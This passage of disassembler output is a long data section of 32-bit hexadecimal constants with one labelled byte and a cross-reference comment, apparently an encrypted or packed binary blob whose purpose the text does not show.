		dd 0FD282D9Ah, 0C18A320Bh, 9B468A77h, 0AE1BC3FEh, 71514159h
		dd 670F9371h, 0FB22999Fh, 3F1C152Ah, 0CC22FE9Dh, 21EC1000h
		dd 22C69192h, 0ABDAABAEh, 8FAD6603h, 5D95F59Ch,	2454B861h
		dd 7678B0FCh, 0CE1BC477h, 84E4A0A4h, 92AD6193h,	0BE410C71h
		dd 0FF6D3B1Bh, 0A96B2747h, 9219784Ch, 45F674CAh, 9AB965A8h
		dd 4FCE75E6h, 20DB702Ah, 43214269h, 3AB48B27h, 3FAA1A44h
		dd 7EE0F579h, 0C317FA31h, 0E2875DDFh, 26AA08C8h, 0CBDDB058h
		dd 0E767846Ah, 69EF63BEh, 5CE579D7h, 0CF1A167Ch, 434E481Ch
		dd 6463DEE5h, 0C87D04ADh, 0A2829BFEh, 12C87D7Fh, 6C89CC8Bh
		dd 8F563759h, 0C21FDC74h, 67A68A4Bh, 6DFDD724h,	4A6BFC82h
		dd 95EE56E2h, 7AAE978h,	2EED8D57h, 60D0FFDAh, 5B12DE86h
		dd 0FB81E62Ch, 0D00B3BA0h, 106C3CA0h, 73274498h, 6840979Dh
		dd 7861D079h, 0B074A2F7h, 5717DEA8h, 0E971C436h, 502B2AA7h
		dd 6C3A4294h, 0B3CB81CBh, 71AD4578h, 6B47DFE1h,	0F2D2FD43h
		dd 3544FF3Ah, 0B69B521Bh, 0EF7E1A93h, 0E582CA00h, 29D501E3h
		dd 79A8761Dh, 523A88F6h, 3D7313BAh, 0A20F3A60h,	67F4A52Ch
		dd 8645474h, 316C58EFh,	0DA412E21h, 93FE218Fh, 0DEF96018h
		dd 6FE7017Eh, 2D8CDBC4h, 1936FAD4h, 6A7BF955h, 4DC5AC3h
		dd 1F0BB10Ah, 98A4D4BBh, 36EBD96Bh, 1332B3C1h, 0DC1A6C60h
		dd 0FB5602B4h, 0FAE1C4C4h, 3106B463h, 3C15C8ECh, 0C24EE0A4h
		dd 4094CB9Eh, 0C9091CF7h, 0B8B484C9h, 0EB8BC18Ch, 63746207h
		dd 0D08E75Eh, 24FF618Ah, 0EBE5CF77h, 9128E2AAh,	17AA8ED3h
		dd 276A5C33h, 9235B036h, 0CF77DE6Ch, 748D0D15h,	24A66713h
		dd 0B32CA955h, 0CE353A89h, 59C6074Fh, 4123E142h, 6530A1B9h
		dd 789768F0h, 54F6314Dh, 671134AFh, 4BF89Dh, 21F37AF8h
		dd 3D9A1D8Fh, 702EF337h, 42C725B9h, 1F76517Ch, 1E5EE6BFh
		dd 0E5B760FBh, 27D17BAh, 95F346F4h, 0C8EFD9A9h,	35231BC8h
		dd 0F2E3AAD8h, 2E9B23AEh, 8672B61Ah, 0FF70CC1Ch, 0E69C33C3h
		dd 0AF31D442h, 46D9BFDFh, 0F14D4AD4h, 1C44A3DEh, 7B26F792h
		dd 2994FDDCh, 0F56439C2h, 444CA75Fh, 12AB14CEh,	31D52F41h
		dd 6EEA35CEh, 3EB705E8h, 4C9D789Dh, 15F8E1D5h, 0F0DC1255h
		dd 6DA94456h, 3C30F0F7h, 1DAD3E34h, 342CB06h, 0F0754AC7h
		dd 0C0B84AC5h, 1D89D6D8h, 0C2B61596h, 73A334ABh, 3C4E9C83h
		dd 0DC9F48DEh, 62B5FCBBh, 9C2FAD41h, 419CC6A9h,	7C8D26BDh
		dd 11C625E0h, 68AA2B41h, 515D19DBh, 0B68B22A5h,	7E7B3935h
		dd 4E822743h, 2B3EBED6h, 6564BA88h, 0B3AADBCAh,	7BE2162Bh
		dd 0DCB95793h, 35CA315Eh, 13757A1Bh, 19B924DFh,	44E75864h
		dd 670B05B0h, 3DAF4A7h,	4F03D289h, 0C96318BCh, 904096F5h
		dd 0EC5BEB08h, 0B3E5634Fh, 8C8EB3DDh, 8B48D7E9h, 198F35BDh
		dd 0D27BB16Ch, 0A6A8BFB1h, 359D0A7Fh, 0CC3B3C27h, 368B1C2Fh
		dd 51E75E1Fh, 15126D87h, 9D17029Eh, 6740A29h, 54908F95h
		dd 59BBB6CCh, 0D9676A4Eh, 0AFE5FF35h, 0D6D33440h, 0F17BC536h
		dd 0DAC9386Ah, 0CE5412BFh, 57326775h, 0A6AB7D4Fh, 0FB040313h
		dd 463DE415h, 0FD4C4E9Bh, 714C35A3h, 2E6D58F5h,	0BF2A6F91h
		dd 293172B1h, 0A10B62D7h, 2F404607h, 6A8B8A6Eh,	0D15BB835h
		dd 1FBD0A12h, 0FFCB22E5h, 4C1FC168h, 0E4B5A4Fh,	0CBBD0388h
		dd 0EEE97650h, 81CF7A9Bh, 5A2A7ACDh, 865CD8FEh,	0A5D78309h
		dd 461B2CEBh, 8DF6281Dh, 9F0FDA6Ah, 467009F8h, 0A3AF75F8h
		dd 8B91D0h, 41741C95h, 3CC1A079h, 10AC70B2h, 0B46B99B1h
		dd 6B5BC2DDh, 374FEABCh, 0FB694645h, 56665F25h,	0C4D3EB2Ch
		dd 9F5175F3h, 0CF8DF3A1h, 4EA4688Eh, 776EE2C2h,	428B9BCAh
		dd 0AD357235h, 0EF375DFDh, 4AD9C5BAh, 0A279B4A7h, 108669Eh
		dd 37541EFh, 0E1EA5DF8h, 0D71FF919h, 1F757EE5h,	5EF52D60h
		dd 0E84231B4h, 0FCCD3E20h, 34176234h, 910E4973h, 6F3ABCEBh
		dd 91EC6659h, 78371915h, 6A6363AAh, 8AD482C0h, 0E66166A8h
		dd 4296CFCFh, 87895EDh,	0EDDF80F9h, 9D81851Ch, 2A1B1B5Eh
		dd 0DDE940D0h, 0CBE53C6Ch, 1A48988h, 9DB98F4Dh,	0B9B4910Ah
		dd 67FA3734h, 0D4505DDEh, 39D98D3Ch, 0ADDA879Ah, 0C2145D89h
		dd 4EACA4B2h, 90F22DD7h, 740D615Dh, 6DEC0658h, 21A19CAAh
		dd 0B2001749h, 3CB62D43h, 37A095A8h, 6D69E56Ch,	0AFD04438h
		dd 0E83B8E2Dh, 81B705DCh, 287018BEh, 0E1FD8C7Fh, 0B095AAE6h
		dd 0EE037F5Dh, 5ECD478h, 0E55D8928h, 8D1FF98h, 0DCD84EF6h
		dd 3776E93Ah, 42884516h, 14C660AAh, 619E8CD2h, 0DB027148h
		dd 0B61E518Bh, 7BC8427h, 0E4E5C8BBh, 0C8A0C308h, 3EC7A658h
		dd 0A67A164Bh, 1CD1D76Fh, 0E05F623Ch, 0F52EFDF2h, 0DB356D4Dh
		dd 0D7951A65h, 0D9A0AD81h, 0C9377172h, 3EE6D546h, 16D6AFF6h
		dd 0C6C01B1Ch, 9603D5EEh, 6361A3F6h, 0B9467D98h, 2E041B85h
		dd 0EE48AA82h, 3BD42373h, 1AC8307h, 0ED384B04h,	6A7BE50h
		dd 0C3BC592Fh, 0A687F9F1h, 314F3D78h, 2FB6C47h,	4E7DBD24h
		dd 0FB055982h, 417A3198h, 6FDDBA1Eh, 5A202E14h,	0F174C4C1h
		dd 43EEEB6Fh, 6998153h,	0F125E7BAh, 0A178D577h,	82AA662Ah
		dd 8E19CD28h, 32F6DEB3h, 55ABEA1h, 93D0C293h, 88B2881Bh
		dd 582B7268h, 0C9A2C346h, 0BD923C86h, 738B11FBh, 0B3F95C28h
		dd 1257D914h, 55148817h, 65F70ADDh, 3B836595h, 56039A03h
		dd 0D8543111h, 0B77DB259h, 23BAB803h, 0FA1A480Eh, 31EB6E05h
		dd 0F043779Ah, 0BBD45825h, 28D5F9B2h, 98C6C574h, 2F950638h
		dd 0BCDA3495h, 21BC35D2h, 0DBFC3EAEh, 599FBEC1h, 0F7264B47h
		dd 0A7AC513h, 0B10C5A54h, 0B803BC4Dh, 0D90FA94Bh, 0A5A8EC7Ch
		dd 0DD99700Fh, 0FBFE9BF3h, 1E98363Fh, 0B245A204h, 0FEDA5A03h
		dd 0A4D8BA86h, 32B967E4h, 4636F442h, 882099Ah, 0FA03186Dh
		dd 0CA425B2Ch, 0DDBAAD7Dh, 0BEA8D1E2h, 13EA377Dh, 6DCAC22Ah
		dd 0E5FD56D6h, 0E331E6FCh, 0D6C5BDF3h, 0F96DFE4Dh, 901A3828h
		dd 4B2B0AE4h, 0E25CC9Ah, 0D34ACD41h, 98888628h,	38E4E40Dh
		dd 15E4AF1Ch, 8EDFC95Ah, 6B1B3E97h, 417C7DC0h, 0B3C29714h
		dd 0EA3B983Dh, 0BA5B09EEh, 3FA2C573h, 40F954C9h, 3F29FBBCh
		dd 0B8F31E57h, 0BEBA896Dh, 0B3B127A6h, 2D0F79BAh, 0E3AC2AD8h
		dd 0A6299D8Eh, 8ADCC66h, 0B949490Ah, 213F6B88h,	96A6F1BAh
		dd 0D0B9E934h, 8B0206A7h, 403AD7C9h, 2D8EC917h,	0B0023293h
		dd 852E3C00h, 0C5A15B53h, 5F902F1Ch, 0C87DE63Ch, 0AF0609A5h
		dd 0D5BE3D55h, 1522F6D1h, 0B172D3C0h, 0F9267055h, 0F9F2B42Ch
		dd 41B7322Dh, 0C25D1C2Fh, 5D849235h, 612FA561h,	7793D021h
		dd 977E7D27h, 0E36D2FDDh, 3CD70552h, 0D1763A3Eh, 120BACF2h
		dd 0A704857Eh, 64E454E0h, 69148030h, 0EB0D8DDAh, 0A2D97B92h
		dd 8F43E907h, 140AC540h, 0EB4E4805h, 0D4FFB3A6h, 3B9194Ah
		dd 0D2D2292h, 26AC92C2h, 0B5B0377Eh, 0CFE371BEh, 41E6274Bh
		dd 0F051394h, 322F0E86h, 0C574E370h, 207A8207h,	0B35D484Bh
		dd 34392ABBh, 0BA05B781h
		dd 6CD83409h, 0DBE8B9Fh, 62ABD769h, 3A81642Fh, 3834C4A9h
		dd 0F66EFDECh, 3480C380h, 84E2E56Dh, 52F32A52h,	2583EE15h
		dd 568D902Fh, 0D48B34Eh, 57CA66BDh, 3FC29D54h, 0A45BB38Ah
		dd 4034ED3Ch, 4788AAD9h, 5F8CB4C3h, 9582AF82h, 0F349B4C2h
		dd 0C22CF43Bh, 0BC55DBFFh, 0B1261576h, 2E61D78Dh, 0CA8EB68Eh
		dd 0AFD4A13h, 60183B16h, 93F371B6h, 826BB010h, 2CD35F4h
		dd 0F3E85461h, 214EDB4Bh, 0C8ECD3FCh, 0BC4FCE9Ah, 0E937A45h
		dd 3D4780AEh, 1E352B71h, 0EE40481h, 9F3160B4h, 0D56F4854h
		dd 310232A3h, 3A85E589h, 8E4687Dh, 0E33897F4h, 0B89444DBh
		dd 0E30D058h, 0FC5CF46Fh, 7A5F4B70h, 6511AB80h,	0B4B782BCh
		dd 0F71EE1F4h, 0E9552514h, 0AD754B29h, 2B0EAA42h, 0C3D7AA5h
		dd 5CE0C0BDh, 44838322h, 36F7053Fh, 5BEA34AFh, 0DA60D791h
		dd 563A8A6Fh, 0FEE0BFD0h, 78A92274h, 3B5660E8h,	4B32FF49h
		dd 5D6A9CABh, 94A6E7Bh,	64D5C0D2h, 0E7500CCBh, 0B49FC832h
		dd 672630Eh, 531DF5D1h,	8CD2571Ah, 346DF397h, 72630318h
		dd 0CB62A4F5h, 0DA122EF4h, 0D9B1633Dh, 0A6129E5Eh, 97E64704h
		dd 0A8A2AB46h, 0D71D585Fh, 1DB95AD9h, 90DAD54Fh, 4E80F04Ch
		dd 2F8F3BD0h, 5C1F1813h, 99A01787h, 0D991329Eh,	2664D03Fh
		dd 0D03657D5h, 333A8AE9h, 1EDBE3B4h, 0F6251213h, 4166E907h
		dd 0E133E0Dh, 0D7B6CA16h, 107A8591h, 856CD035h,	19B09B1Fh
		dd 6886283Bh, 42B4F012h, 0C2B35244h, 0B3D7E9BCh, 0FDA514F3h
		dd 0EB100E91h, 365169D9h, 0B3422F88h, 8C2C3303h, 0A84E7194h
		dd 2AFBD16Dh, 0DBE6BC18h, 0C3165E95h, 3EADC67Bh, 0A46D070Dh
		dd 0E940867h, 20A6A564h, 8BE1B42Ch, 53660E72h, 6828B684h
		dd 857C9325h, 0BC4C2526h, 0D04AB2C5h, 0D3DBEC49h, 12E52566h
		dd 839D58D8h, 0E39E4BECh, 0D616AFF8h, 90FF2040h
		db 0BFh, 10h, 51h
byte_53525F	db 6Eh			; DATA XREF: .data:off_4EDD08o
		dd 167A9C00h, 0DD17A61Eh, 3CACA51Eh, 8852AD57h,	0F74A9BBBh
		dd 92CC7D4Bh, 2355C1CCh, 1B958F7Bh, 8DB4FC5Dh, 0AE02706Dh
		dd 0CEB2BB58h, 5B39556Fh, 61DF82EAh, 1CEA3093h,	5A9FE4FBh
		dd 0B80305C1h, 0EA8FF4ECh, 0FB005914h, 871B9106h, 0F87052F6h
		dd 0E229B2FAh, 0BA74F835h, 828B12A5h, 0EE50E33h, 564A5AC2h
		dd 0E6BF891h, 172CAD52h, 0FDD9CD84h, 22109353h,	0B9F28DFDh
		dd 0ACE081BEh, 69F5C7E9h, 0F85E13D0h, 7673FF99h, 5DD26FAFh
		dd 8FAF1898h, 48C697Eh,	96DC1BCh, 0FCF4F14h, 0D2D76153h
		dd 72BF41A8h, 5FC7200Ah, 0AA08F2F8h, 6E0B60C6h,	39AA9DFh
		dd 9B7DBCh, 0FAC8041Dh,	73DBB1A9h, 223A6AE1h, 40B46911h
		dd 0BCEEAAF8h, 2143A477h, 6AAD68CEh, 538D4F2h, 0DB56387Ch
		dd 4D186EAEh, 0A8F39F8h, 86229B14h, 640D9D00h, 0C55F7DF7h
		dd 0D4B5ABEFh, 0A5DEC1B6h, 87184B7Bh, 0FB57FA4Ah, 4F70ED21h
		dd 41D9BFC8h, 3EA5F72Ch, 0BE26DA0Ah, 58CC9107h,	0D8CA42D3h
		dd 0A00B3522h, 3486E945h, 3FB92A89h, 553064F1h,	7D4E85B8h
		dd 866CABDFh, 95D3462h,	0FF8692Fh, 4F0D97F2h, 39729811h
		dd 92FA8AECh, 0FD3C744Ah, 9DC11033h, 2863D61Dh,	0A3049CEBh
		dd 210B014h, 0B715F000h, 2BAC4BA7h, 61C1F574h, 30B3061Dh
		dd 3094C6Bh, 5E61C1F6h,	1AB7688Ah, 9A12DACBh, 22C7E8A6h
		dd 4E3F93BAh, 0A13C146Eh, 0CB4171FBh, 7C458C29h, 4EC58B90h
		dd 734B8800h, 0C32EDE6Ch, 916D98FBh, 92D9BF50h,	9FD7328h
		dd 17673F4Ch, 8CE43C03h, 72B8EB4Fh, 8AAC090h, 0DE8DE94Ah
		dd 0F609EA36h, 0D55DC9Ah, 651F8C27h, 24733B55h,	0FFF3216Eh
		dd 3A349549h, 2BA0472Ah, 60F9F067h, 40401A94h, 5B85CDB9h
		dd 1CCEBDD3h, 44D18385h, 348E019Ah, 547085E4h, 0F44B5B77h
		dd 3F32DA5Ch, 3B47B1A6h, 87F46F35h, 0F9B8E0Bh, 0C63126AFh
		dd 6B653F38h, 25991868h, 349373C0h, 2F3D1AD0h, 75131E6Ch
		dd 0E5882885h, 2447EEA0h, 0E68A01DDh, 5B8C5813h, 23597ADFh
		dd 4CF5E5A6h, 7C87094Ch, 94C2972Ch, 270CBD06h, 0A8648FB8h
		dd 0C0B440FBh, 0BB2C2119h, 97EE9225h, 856B57A5h, 94C49689h
		dd 91F6CB6Ch, 0CCE4590Eh, 7F840586h, 149E7959h,	2BAD86A5h
		dd 0B556B5C3h, 14AD2DAFh, 5DDB2659h, 971F2C7Fh,	26865CB7h
		dd 7DF2D2h, 4C3FD4BAh, 0D84FB288h, 0ED8E49B2h, 138D4B8Dh
		dd 0E964B5Fh, 0B0B966B1h, 0F81B3A8Bh, 4E9D8343h, 856F1286h
		dd 12AE9641h, 90530B3Dh, 1BDA962Bh, 371CDF2Eh, 0B9D78E6Ah
		dd 0D4CC9353h, 0F29AA4F3h, 449C55C7h, 5EE16F60h, 1C18778Ah
		dd 12BDB32Dh, 0E47A7BD1h, 7F99DA0Bh, 7C33E0B7h,	8737B520h
		dd 62340BD9h, 0DB13C339h, 0CAA0AAA3h, 7610E6D2h, 0DB0DCDB1h
		dd 8C16A019h, 7894A516h, 39D6431Ch, 702C4BBDh, 921DFE35h
		dd 0ADFB6546h, 826CA7ABh, 0A8CCA833h, 5E1C10A4h, 0CCA27DCDh
		dd 0E72E5D45h, 0B04B5EE7h, 0DCA32949h, 93D15DD0h, 6C2D86D3h
		dd 0E71BEF67h, 16DC6EF6h, 4C130E24h, 0DE4DB4A0h, 0B7D795BEh
		dd 5FD86F25h, 68788DB1h, 0F9ED0D1h, 7DCB8406h, 827F3639h
		dd 302A89B3h, 27005EBAh, 63B92715h, 0C0F5BECEh,	1E8BC51Ch
		dd 0B35EF1FBh, 0EEC081ABh, 7357F91Eh, 0C499B7CDh, 295EA351h
		dd 0D6B710A1h, 0CD66606h, 9F391850h, 1A7F05F5h,	0CDE0044Ch
		dd 0A7DA00B0h, 0F40CB122h, 0DBB676CAh, 19CA09A7h, 38533CCEh
		dd 0F6E7F7ABh, 4DA1E64h, 1F3935CDh, 88351945h, 0F0C8B6BEh
		dd 0FB11300Ch, 0A9D6B35Dh, 0F9D8BB0h, 4D67A67Ah, 6228D8CEh
		dd 4F2382F3h, 6AE9CBFCh, 0F4749FEDh, 0F3C14C46h, 66492176h
		dd 84BFAAC9h, 0A471681Dh, 0EC41B4B8h, 2E7F25C1h, 0F215D67h
		dd 0B8D27AD2h, 0A7F5E232h, 0C58EB475h, 914A6DCFh, 99E306F7h
		dd 68314891h, 386400F8h, 0CB5943CBh, 6E2F0B6Fh,	8387DE44h
		dd 4429515Ah, 0C64CFB5Dh, 70C0CE73h, 87EC4EEDh,	894BD7B4h
		dd 525693C5h, 99C9B01Ah, 0BA78A7A7h, 5178C812h,	7406EC80h
		dd 312D620Eh, 5588FE5h,	99B17C37h, 83E7C31Fh, 1B0F3BD0h
		dd 4126F3B5h, 416F95A5h, 0B93D188Fh, 0B0ABB9Ch,	0B29705AFh
		dd 517B04BDh, 0E3FECDF2h, 0D8965018h, 818BD6A5h, 7627FB94h
		dd 0A1C745F4h, 83B066B0h, 642DDED4h, 13382CE6h,	6E5599D8h
		dd 0A5A7D9CAh, 0DCD0D0C8h, 29BD6709h, 5CAC5E7h,	97291DB0h
		dd 21A1A2DCh, 378224D6h, 0AC4D61FCh, 0B00FB26Eh, 1F7AAF41h
		dd 81E75B62h, 43D67332h, 9D7A8796h, 92123D47h, 47001F21h
		dd 3D1FDD80h, 0F3029CC8h, 43C429FFh, 8587E898h,	9B6D21D7h
		dd 4CF77789h, 3F42816Ah, 0C1B80A86h, 48A2463h, 0A2133187h
		dd 10A4A9C8h, 8768666Bh, 3657D3E6h, 78295E87h, 18ABC731h
		dd 0D26098E4h, 1E2D6CE3h, 1CF8356Ah, 612DEDB3h,	5C47F9F7h
		dd 246C445Dh, 0C691177Ch, 0EA76BF6Ah, 4BC2A543h, 876813D0h
		dd 1CCD085Bh, 797DD20Dh, 0BEEFCA64h, 0C8B74684h, 343CE430h
		dd 67D4DCBh, 0F05754B2h, 0A3DB50D0h, 8ABE7C09h,	6AB7CC90h
		dd 175C9E5Bh, 1ACB4EF4h, 7320E96Fh, 0BB37594Ch,	0E78DD9E3h
		dd 0CFAEEC5Eh, 33716EABh, 0AAA315B4h, 0C8ECFBD1h, 482EEB21h
		dd 11A3A0AAh, 8B26AB2Ch, 0EF93FCCCh, 0CE9D2788h, 527A75D7h
		dd 7E7F6BEFh, 444AD90Bh, 58BEC836h, 9ECAA285h, 0AED4D51Ah
		dd 0F09FCD2Ah, 31365BF9h, 972FAC5Ah, 3E410DCEh,	15577777h
		dd 6EF1FBB5h, 0F5AEB87h, 75A3F7DAh, 5A583038h, 20115A7Fh
		dd 7C10C235h, 0DA6EED2h, 3B435E57h, 4BAC110Eh, 52A35ADFh
		dd 4984222h, 28F1317Eh,	407F2B66h, 1D5CCDE5h, 0DD9A5257h
		dd 139AFC9Ah, 98E76469h, 4346BB0Ch, 365E981Ch, 0B6D0757Ch
		dd 6E251B45h, 0B1218442h, 779B1533h, 7967355Eh,	0A9F0E938h
		dd 62BEBD56h, 0EEBD1937h, 0B3F609BEh, 18DD5FD9h, 4F8BCC8Ah
		dd 948F17EBh, 0E83B6603h, 504168A7h, 9DAF0818h,	11D33D90h
		dd 0CF208A5Ah, 61787AC1h, 1E013058h, 0FEF4A081h, 0C00C11B8h
		dd 806D6109h, 0CBF9F740h, 0F69F75BCh, 0A4C1507Eh, 13D27E3Fh
		dd 96216B9h, 0DDDD78F9h, 612E06EEh, 5672B087h, 0FFD89428h
		dd 93A086F4h, 0DC198C92h, 0F506A97Bh, 6BEF18E3h, 950C8815h
		dd 9F73477Fh, 83A213Fh,	1365B15Ch, 2E8FD285h, 0BFF8122Eh
		dd 264A996Dh, 96362E89h, 3E74926Dh, 59619A10h, 91FA1269h
		dd 8EF6F474h, 9CB22A95h, 34EF8E90h, 727DB053h, 814A404Fh
		dd 7343835Ah, 27BFE117h, 0B5C17F20h, 7A1FDDA6h,	9946D3D8h
		dd 87FFD756h, 0D5DB7D86h, 433423D5h, 91B1199Bh,	0E4B73468h
		dd 3CB443A0h, 2AE95429h, 152DEE57h, 0C40F2590h,	820B55D3h
		dd 0E393188Bh, 0B87D5CD1h, 585C8D7Ah, 0A6E3E1CBh, 0FB1CBEF7h
		dd 13021C09h, 0F0EB5F4Ch, 0D1CC68C3h, 2B1AD55Eh, 31BBD1EBh
		dd 7EBFD8F6h, 818C17C3h, 31FC07C4h, 87E1EA0Ah, 0C4BD52E1h
		dd 0BAA3A6F6h, 13101D4Fh, 0B3B95364h, 2492C1C3h, 55424790h
		dd 0BEB557F0h, 86D34D16h, 3B732C5h, 31955949h, 2D24673h
		dd 12095B3Bh, 0D3C98090h, 9CDC1195h, 7DE29A3Ch,	2C2F020Eh
		dd 2D984239h, 0FED7079Dh, 0ABE9519h, 0EB7AC539h, 3991C7EEh
		dd 0DD974328h, 36F9C318h, 77A45DD6h, 688468F8h,	7B72D363h
		dd 4051565Eh, 33F28CDCh, 88D18C15h, 0E3802E3Eh,	54121A4Eh
		dd 0D7E13D5Fh, 0D1DA9B86h, 7F04F1C2h, 6F7C756Bh, 245061EEh
		dd 3B0868B0h, 0E8CBA46Fh, 392C2201h, 0CF21A46Ah, 67D632D4h
		dd 4B139AE3h, 52B53D4Bh
		dd 1C0A0262h, 2C04D3F7h, 4C9A1402h, 4F5F95EDh, 99F27BF7h
		dd 3FDB2A5Ah, 0CE4D04DDh, 8895A4EEh, 2CA20C26h,	0E7E19A2Ch
		dd 4869CE26h, 0BE774B1Ch, 0B5B9C76Bh, 7C062822h, 3B983D0Bh
		dd 0D5925D61h, 258727E0h, 1FD50DFCh, 346251F0h,	34040251h
		dd 0D76491DBh, 1FEA2D10h, 3976E2C4h, 9E2CE21Ah,	31E80612h
		dd 3F0BB668h, 4C1C5F05h, 0C3E6E527h, 417EBCA8h,	0F79D3684h
		dd 0F6C93406h, 43381254h, 0C9DC61D1h, 0B156FD48h, 0FA788EACh
		dd 4216F656h, 6D3A0212h, 0C6047771h, 3B5D029Ch,	0B3589825h
		dd 0AC315EF3h, 373DE26Eh, 983C49CDh, 721895BDh,	2DB14280h
		dd 26F2785Eh, 9AF20083h, 0A38893E2h, 5DD52576h,	5B2233ABh
		dd 0C30020D5h, 66896F48h, 0C8B4D093h, 3C2682D9h, 0DA9C1E7Eh
		dd 99100E96h, 4FDED6E3h, 6218AD34h, 9CCE608Dh, 182AEFF2h
		dd 94E47B2Bh, 0DFDBF21Dh, 24DBAFD1h, 7DCC886h, 0FA74E090h
		dd 0AC41F254h, 38936BD9h, 0FE7A7B95h, 0A312D04Ch, 0A142C763h
		dd 0F337D15Ch, 0F09EAA82h, 3856C1Ch, 0EFDCA2C3h, 70FA51ECh
		dd 0CF1B3537h, 60FDB9E7h, 304735A3h, 0B188626Dh, 0ADAB2F2Fh
		dd 0CDEB1950h, 66EB84D9h, 84DF83D8h, 601457EDh,	0A52D6B9Fh
		dd 0F5C4DC36h, 0DFDB293Eh, 0BDC135BEh, 71B3688h, 0D63C59B3h
		dd 6E0CF198h, 1AA023F3h, 5DE70C7h, 54DA5A7h, 23B508Ch
		dd 0C8308D2Ah, 26C8BEFDh, 9074C96Ch, 77888EDBh,	46B50F86h
		dd 0F291A77Ah, 9E0694A2h, 0D94D2F8Ah, 0D496D766h, 1FE4DDCCh
		dd 464E9956h, 114DDFBAh, 6C54F2F1h, 51DEC08Ah, 0F06E3605h
		dd 7324EA34h, 469A89AEh, 0C7D781D7h, 0C53FB277h, 0DEBE366Dh
		dd 0F518AE5Bh, 0CF0E481Ch, 6CBBF9E6h, 0BBD8822h, 0F663A745h
		dd 88E076h, 0C7CCDC5Ah,	7729FC4Eh, 62372210h, 9A3CCA9h
		dd 0CF4AF9D3h, 70AE6205h, 0A5BA72D4h, 78E77235h, 6B8A805Bh
		dd 23EF3F91h, 2F6C9B61h, 2C5FFDA7h, 2E3C074Ch, 0E2E59A00h
		dd 42D30373h, 0ED4D7Dh,	0BD5619Dh, 85AE368Dh, 0E2F9D36Ch
		dd 4E3C40F7h, 0F3FBE99Eh, 980036F7h, 7AEC7FFBh,	0B6A0081Dh
		dd 19F98772h, 0E8CE99E8h, 9B708E72h, 0AD7990CBh, 0F37937E0h
		dd 0D293DEh, 0D5A6E714h, 0D8B10A97h, 0F26C4AC7h, 0ECFC0E5Eh
		dd 0DC29456Dh, 9C421F45h, 1FEBF685h, 0C93174h, 0CC63FFAFh
		dd 0EE55D5BBh, 25AF33ACh, 26C5A170h, 689F6FC0h,	0D09B108Ch
		dd 5341B0E4h, 0A776F416h, 210D14BBh, 5CEC9EC5h,	0DBB94841h
		dd 0C47C4728h, 0D53C9A6Eh, 95457944h, 0B0E33DC5h, 36B84F6Eh
		dd 0E26F25C7h, 0D6AB7F8Dh, 7B4989CEh, 0AE6B1611h, 0D794B249h
		dd 34D3AAAEh, 0FE85E3DBh, 803E3255h, 66666177h,	9B08C5D0h
		dd 39CE7E05h, 94FF655Dh, 9391E6FBh, 8A27F63h, 76C2D3A7h
		dd 0DBC42473h, 0C40A39CDh, 0C286670Ah, 406D9449h, 9FB11123h
		dd 0A5284A10h, 14FC59E5h, 6C3F1ACh, 57ABD965h, 5F62B244h
		dd 472E51B9h, 0F83C1F8h, 2FE537C4h, 0BECB6819h,	0D818141h
		dd 0F3C06D9Fh, 10D4FFEEh, 0E90D1B61h, 107E390Dh, 7F400F55h
		dd 127E199Eh, 902DB8F4h, 0A644720Bh, 0C99CB65h,	5A764F42h
		dd 76708D5Ch, 0DFBE0AF5h, 0D83D90BAh, 52BAE5B1h, 957FA82h
		dd 0B49B183Eh, 91DBD232h, 8EFB6EFAh, 8267D7F7h,	89F79633h
		dd 0CEAE532Ch, 0C45B3801h, 2F34CB8Eh, 8A956752h, 0BA4BE5DAh
		dd 0A1FA71A9h, 0C798410Eh, 7F4C304Dh, 4DF76E1Ch, 0B0A51D8Ch
		dd 0BD87CDD7h, 6BB693D0h, 2B3DADCBh, 0E8BD1EBAh, 217063C5h
		dd 65C75CC4h, 37A80190h, 24CA203Bh, 0F2D05C3Ch,	792B62BBh
		dd 67B649Eh, 0FAC8377Dh, 69344921h, 74292DE9h, 0EABBF628h
		dd 0A5E6C3Ah, 7B7447D8h, 9C02397Ch, 0E6020129h,	377FD9F7h
		dd 0FA445315h, 0CD860436h, 0CFA3C68Eh, 30AAFA6h, 22A5CF36h
		dd 0CEF04600h, 0AC4E0CEh, 8DD30F03h, 3420E4EAh,	0B7FC4813h
		dd 59E94B20h, 0DEF04A78h, 95D625E7h, 0C5F4D120h, 0B02FF0FFh
		dd 0B3FF537Dh, 74548047h, 88CE3049h, 5182B6E3h,	1E880DCAh
		dd 0E0834830h, 0A4DEFB84h, 1821DECFh, 0D6BE6EF9h, 52828A61h
		dd 5168444Ah, 75AEE558h, 0F2BD901h, 0FB96246Bh,	756DCEE9h
		dd 7BE49473h, 0E1733080h, 0D70BFCF8h, 0F96E4D09h, 0BBC6CD63h
		dd 4C513A8Dh, 8A6263Fh,	7A1F22Dh, 5D4EF2EFh, 0AB9AED63h
		dd 22D4AFD9h, 3B6131B3h, 0A1C24AC5h, 9742CC01h,	8072D871h
		dd 612A880h, 0EE75DABh,	8166945Eh, 9F3A6512h, 793EDD11h
		dd 0B970DCD0h, 1A24376Bh, 4851A2ABh, 0F215C180h, 743CDC4h
		dd 45D61CF3h, 0EFAD4398h, 0D4C0C081h, 8DE6F94Fh, 19AE4532h
		dd 0B841CF49h, 0BA675938h, 69AD839Eh, 13B8DD67h, 794B816Ah
		dd 40BD3F39h, 0EBF6D3FCh, 7704A14Ah, 0C965143Eh, 907D2B39h
		dd 0C1E77CEFh, 0A17F97D2h, 0C52E3A24h, 50E11183h, 41A4EECDh
		dd 9851FD4Ch, 0B54FD8E7h, 5F25B47Ch, 76AC1AD2h,	0F8E5A022h
		dd 43AAF9BDh, 0FB6F2CECh, 914A81DDh, 0ACDA31ADh, 0FE679264h
		dd 562BB489h, 9AECC705h, 418F7111h, 0EDB7B760h,	92B20A5h
		dd 0EE6AC958h, 0AA9B523Dh, 0DF838F05h, 0B66B85ECh, 0D98B54ACh
		dd 35E04D14h, 52E24F5Bh, 38B74D49h, 77EC6D94h, 0AD3DB252h
		dd 0A60A599h, 12C50CD3h, 0CFBCE82Eh, 79955A45h,	9878A267h
		dd 51DEF338h, 46FA22BAh, 0D090D604h, 3518CDACh,	38EAFE7Fh
		dd 48F62F39h, 0AA74C6C5h, 80370916h, 96710F27h,	0DBAA6E8Eh
		dd 415FEE65h, 2F2510DBh, 7C33B3B7h, 51BAC471h, 0EBFF8ACAh
		dd 0A34C45B6h, 0DA1B6364h, 73769DB3h, 0A33A17EBh, 1A0AA94Dh
		dd 0C733A54Ch, 0EDABC3BAh, 63D30C08h, 38220D03h, 0F36FAACEh
